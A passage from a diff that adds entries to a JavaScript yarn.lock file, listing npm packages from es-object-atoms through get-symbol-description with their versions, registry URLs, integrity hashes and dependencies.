sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw== + dependencies: + es-errors "^1.3.0" + +es-object-atoms@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1" + integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA== + dependencies: + es-errors "^1.3.0" + +es-set-tostringtag@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.3.tgz#8bb60f0a440c2e4281962428438d58545af39777" + integrity sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ== + dependencies: + get-intrinsic "^1.2.4" + has-tostringtag "^1.0.2" + hasown "^2.0.1" + +es-set-tostringtag@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d" + integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA== + dependencies: + es-errors "^1.3.0" + get-intrinsic "^1.2.6" + has-tostringtag "^1.0.2" + hasown "^2.0.2" + +es-shim-unscopables@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz#1f6942e71ecc7835ed1c8a83006d8771a63a3763" + integrity sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw== + dependencies: + hasown "^2.0.0" + +es-shim-unscopables@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz#438df35520dac5d105f3943d927549ea3b00f4b5" + integrity sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw== + dependencies: + hasown "^2.0.2" + +es-to-primitive@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a" + integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA== + dependencies: + is-callable "^1.1.4" + is-date-object "^1.0.1" + is-symbol "^1.0.2" + +es-to-primitive@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18" + integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g== + dependencies: + is-callable "^1.2.7" + is-date-object "^1.0.5" + is-symbol "^1.0.4" + +escalade@^3.1.1: + version "3.1.2" + resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.2.tgz#54076e9ab29ea5bf3d8f1ed62acffbb88272df27" + integrity sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA== + +escalade@^3.2.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5" + integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA== + +escape-string-regexp@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4" + integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg== + +escape-string-regexp@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344" + integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w== + +escape-string-regexp@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" + integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== + +eslint-config-prettier@^10.1.8: + version "10.1.8" + resolved "https://registry.yarnpkg.com/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz#15734ce4af8c2778cc32f0b01b37b0b5cd1ecb97" + integrity sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w== + +eslint-import-resolver-node@^0.3.9: + version "0.3.9" + resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac" + integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g== + dependencies: + debug "^3.2.7" + is-core-module "^2.13.0" + resolve "^1.22.4" + +eslint-module-utils@^2.12.1: + version "2.12.1" + resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz#f76d3220bfb83c057651359295ab5854eaad75ff" + integrity sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw== + dependencies: + debug "^3.2.7" + +eslint-plugin-import@^2.32.0: + version "2.32.0" + resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz#602b55faa6e4caeaa5e970c198b5c00a37708980" + integrity sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA== + dependencies: + "@rtsao/scc" "^1.1.0" + array-includes "^3.1.9" + array.prototype.findlastindex "^1.2.6" + array.prototype.flat "^1.3.3" + array.prototype.flatmap "^1.3.3" + debug "^3.2.7" + doctrine "^2.1.0" + eslint-import-resolver-node "^0.3.9" + eslint-module-utils "^2.12.1" + hasown "^2.0.2" + is-core-module "^2.16.1" + is-glob "^4.0.3" + minimatch "^3.1.2" + object.fromentries "^2.0.8" + object.groupby "^1.0.3" + object.values "^1.2.1" + semver "^6.3.1" + string.prototype.trimend "^1.0.9" + tsconfig-paths "^3.15.0" + +eslint-plugin-no-instanceof@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/eslint-plugin-no-instanceof/-/eslint-plugin-no-instanceof-1.0.1.tgz#5d9fc86d160df6991b654b294a62390207f1bb97" + integrity sha512-zlqQ7EsfzbRO68uI+p8FIE7zYB4njs+nNbkNjSb5QmLi2et67zQLqSeaao5U9SpnlZTTJC87nS2oyHo2ACtajw== + +eslint-plugin-prettier@^5.5.6: + version "5.5.6" + resolved "https://registry.yarnpkg.com/eslint-plugin-prettier/-/eslint-plugin-prettier-5.5.6.tgz#363ebe4d769bce157ccdd8129ce3efd91dc62564" + integrity sha512-ifetmTcxWfz+4qRW3pH/ujdTq2jQIj59AxJMIN26K5avYgU8dxycUETQonWiW+wPrYXA0j3Try0l1CnwVQtDqQ== + dependencies: + prettier-linter-helpers "^1.0.1" + synckit "^0.11.13" + +eslint-scope@^9.1.2: + version "9.1.2" + resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.2.tgz#b9de6ace2fab1cff24d2e58d85b74c8fcea39802" + integrity sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ== + dependencies: + "@types/esrecurse" "^4.3.1" + "@types/estree" "^1.0.8" + esrecurse "^4.3.0" + estraverse "^5.2.0" + +eslint-visitor-keys@^3.4.3: + version "3.4.3" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800" + integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag== + +eslint-visitor-keys@^4.0.0: + version "4.2.1" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz#4cfea60fe7dd0ad8e816e1ed026c1d5251b512c1" + integrity sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ== + +eslint-visitor-keys@^5.0.0, eslint-visitor-keys@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz#9e3c9489697824d2d4ce3a8ad12628f91e9f59be" + integrity sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA== + +eslint@^10.6.0: + version "10.6.0" + resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.6.0.tgz#e1b4059c582be950c7088c9b55f984738b243c27" + integrity sha512-6lVbcqSodALYo+4ELD0heG6lFiFxnLMuLkiMi2qV8LMp54N8tE8FT1GMH+ev4Ti00nFjNze2+Su6DsV5OQW3Dg== + dependencies: + "@eslint-community/eslint-utils" "^4.8.0" + "@eslint-community/regexpp" "^4.12.2" + "@eslint/config-array" "^0.23.5" + "@eslint/config-helpers" "^0.6.0" + "@eslint/core" "^1.2.1" + "@eslint/plugin-kit" "^0.7.2" + "@humanfs/node" "^0.16.6" + "@humanwhocodes/module-importer" "^1.0.1" + "@humanwhocodes/retry" "^0.4.2" + "@types/estree" "^1.0.6" + ajv "^6.14.0" + cross-spawn "^7.0.6" + debug "^4.3.2" + escape-string-regexp "^4.0.0" + eslint-scope "^9.1.2" + eslint-visitor-keys "^5.0.1" + espree "^11.2.0" + esquery "^1.7.0" + esutils "^2.0.2" + fast-deep-equal "^3.1.3" + file-entry-cache "^8.0.0" + find-up "^5.0.0" + glob-parent "^6.0.2" + ignore "^5.2.0" + imurmurhash "^0.1.4" + is-glob "^4.0.0" + json-stable-stringify-without-jsonify "^1.0.1" + minimatch "^10.2.4" + natural-compare "^1.4.0" + optionator "^0.9.3" + +espree@^10.0.1: + version "10.1.0" + resolved "https://registry.yarnpkg.com/espree/-/espree-10.1.0.tgz#8788dae611574c0f070691f522e4116c5a11fc56" + integrity sha512-M1M6CpiE6ffoigIOWYO9UDP8TMUw9kqb21tf+08IgDYjCsOvCuDt4jQcZmoYxx+w7zlKw9/N0KXfto+I8/FrXA== + dependencies: + acorn "^8.12.0" + acorn-jsx "^5.3.2" + eslint-visitor-keys "^4.0.0" + +espree@^11.2.0: + version "11.2.0" + resolved "https://registry.yarnpkg.com/espree/-/espree-11.2.0.tgz#01d5e47dc332aaba3059008362454a8cc34ccaa5" + integrity sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw== + dependencies: + acorn "^8.16.0" + acorn-jsx "^5.3.2" + eslint-visitor-keys "^5.0.1" + +esprima@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71" + integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A== + +esquery@^1.7.0: + version "1.7.0" + resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.7.0.tgz#08d048f261f0ddedb5bae95f46809463d9c9496d" + integrity sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g== + dependencies: + estraverse "^5.1.0" + +esrecurse@^4.3.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921" + integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag== + dependencies: + estraverse "^5.2.0" + +estraverse@^5.1.0, estraverse@^5.2.0: + version "5.3.0" + resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123" + integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA== + +esutils@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" + integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== + +eventemitter3@^4.0.4: + version "4.0.7" + resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f" + integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== + +eventemitter3@^5.0.1: + version "5.0.4" + resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-5.0.4.tgz#a86d66170433712dde814707ac52b5271ceb1feb" + integrity sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw== + +execa@^5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/execa/-/execa-5.1.1.tgz#f80ad9cbf4298f7bd1d4c9555c21e93741c411dd" + integrity sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg== + dependencies: + cross-spawn "^7.0.3" + get-stream "^6.0.0" + human-signals "^2.1.0" + is-stream "^2.0.0" + merge-stream "^2.0.0" + npm-run-path "^4.0.1" + onetime "^5.1.2" + signal-exit "^3.0.3" + strip-final-newline "^2.0.0" + +exit-x@^0.2.2: + version "0.2.2" + resolved "https://registry.yarnpkg.com/exit-x/-/exit-x-0.2.2.tgz#1f9052de3b8d99a696b10dad5bced9bdd5c3aa64" + integrity sha512-+I6B/IkJc1o/2tiURyz/ivu/O0nKNEArIUB5O7zBrlDVJr22SCLH3xTeEry428LvFhRzIA1g8izguxJ/gbNcVQ== + +expect@30.4.1: + version "30.4.1" + resolved "https://registry.yarnpkg.com/expect/-/expect-30.4.1.tgz#897e0390a0b6c333dbcf3a24dee3ad49553577e0" + integrity sha512-PMARsyh/JtqC20HoGqlFcIlQAyqUtW4PlI1rup1uhYJtKuwAjbvWi3GQMAn+STdHum/dk8xrKfUM1+5SAwpolA== + dependencies: + "@jest/expect-utils" "30.4.1" + "@jest/get-type" "30.1.0" + jest-matcher-utils "30.4.1" + jest-message-util "30.4.1" + jest-mock "30.4.1" + jest-util "30.4.1" + +expect@^30.0.0: + version "30.2.0" + resolved "https://registry.yarnpkg.com/expect/-/expect-30.2.0.tgz#d4013bed267013c14bc1199cec8aa57cee9b5869" + integrity sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw== + dependencies: + "@jest/expect-utils" "30.2.0" + "@jest/get-type" "30.1.0" + jest-matcher-utils "30.2.0" + jest-message-util "30.2.0" + jest-mock "30.2.0" + jest-util "30.2.0" + +fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525" + integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q== + +fast-diff@^1.1.2: + version "1.3.0" + resolved "https://registry.yarnpkg.com/fast-diff/-/fast-diff-1.3.0.tgz#ece407fa550a64d638536cd727e129c61616e0f0" + integrity sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw== + +fast-json-stable-stringify@2.x, fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633" + integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw== + +fast-levenshtein@^2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917" + integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw== + +fb-watchman@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.2.tgz#e9524ee6b5c77e9e5001af0f85f3adbb8623255c" + integrity sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA== + dependencies: + bser "2.1.1" + +fdir@^6.5.0: + version "6.5.0" + resolved "https://registry.yarnpkg.com/fdir/-/fdir-6.5.0.tgz#ed2ab967a331ade62f18d077dae192684d50d350" + integrity sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg== + +file-entry-cache@^8.0.0: + version "8.0.0" + resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-8.0.0.tgz#7787bddcf1131bffb92636c69457bbc0edd6d81f" + integrity sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ== + dependencies: + flat-cache "^4.0.0" + +fill-range@^7.1.1: + version "7.1.1" + resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292" + integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg== + dependencies: + to-regex-range "^5.0.1" + +find-up@^4.0.0, find-up@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19" + integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw== + dependencies: + locate-path "^5.0.0" + path-exists "^4.0.0" + +find-up@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc" + integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== + dependencies: + locate-path "^6.0.0" + path-exists "^4.0.0" + +flat-cache@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-4.0.1.tgz#0ece39fcb14ee012f4b0410bd33dd9c1f011127c" + integrity sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw== + dependencies: + flatted "^3.2.9" + keyv "^4.5.4" + +flatted@^3.2.9: + version "3.4.2" + resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.4.2.tgz#f5c23c107f0f37de8dbdf24f13722b3b98d52726" + integrity sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA== + +for-each@^0.3.3: + version "0.3.3" + resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e" + integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw== + dependencies: + is-callable "^1.1.3" + +for-each@^0.3.5: + version "0.3.5" + resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.5.tgz#d650688027826920feeb0af747ee7b9421a41d47" + integrity sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg== + dependencies: + is-callable "^1.2.7" + +foreground-child@^3.1.0: + version "3.3.1" + resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.1.tgz#32e8e9ed1b68a3497befb9ac2b6adf92a638576f" + integrity sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw== + dependencies: + cross-spawn "^7.0.6" + signal-exit "^4.0.1" + +fs.realpath@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" + integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== + +fsevents@^2.3.3: + version "2.3.3" + resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6" + integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw== + +function-bind@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c" + integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA== + +function.prototype.name@^1.1.6: + version "1.1.6" + resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.6.tgz#cdf315b7d90ee77a4c6ee216c3c3362da07533fd" + integrity sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg== + dependencies: + call-bind "^1.0.2" + define-properties "^1.2.0" + es-abstract "^1.22.1" + functions-have-names "^1.2.3" + +function.prototype.name@^1.1.8: + version "1.1.8" + resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78" + integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + functions-have-names "^1.2.3" + hasown "^2.0.2" + is-callable "^1.2.7" + +functions-have-names@^1.2.3: + version "1.2.3" + resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834" + integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ== + +generator-function@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/generator-function/-/generator-function-2.0.1.tgz#0e75dd410d1243687a0ba2e951b94eedb8f737a2" + integrity sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g== + +gensync@^1.0.0-beta.2: + version "1.0.0-beta.2" + resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0" + integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg== + +get-caller-file@^2.0.5: + version "2.0.5" + resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e" + integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== + +get-intrinsic@^1.1.3, get-intrinsic@^1.2.1, get-intrinsic@^1.2.3, get-intrinsic@^1.2.4: + version "1.2.4" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd" + integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ== + dependencies: + es-errors "^1.3.0" + function-bind "^1.1.2" + has-proto "^1.0.1" + has-symbols "^1.0.3" + hasown "^2.0.0" + +get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7, get-intrinsic@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01" + integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ== + dependencies: + call-bind-apply-helpers "^1.0.2" + es-define-property "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.1.1" + function-bind "^1.1.2" + get-proto "^1.0.1" + gopd "^1.2.0" + has-symbols "^1.1.0" + hasown "^2.0.2" + math-intrinsics "^1.1.0" + +get-package-type@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a" + integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q== + +get-proto@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1" + integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g== + dependencies: + dunder-proto "^1.0.1" + es-object-atoms "^1.0.0" + +get-stream@^6.0.0: + version "6.0.1" + resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7" + integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg== + +get-symbol-description@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.2.tgz#533744d5aa20aca4e079c8e5daf7fd44202821f5" + integrity sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg== + dependencies: + call-bind 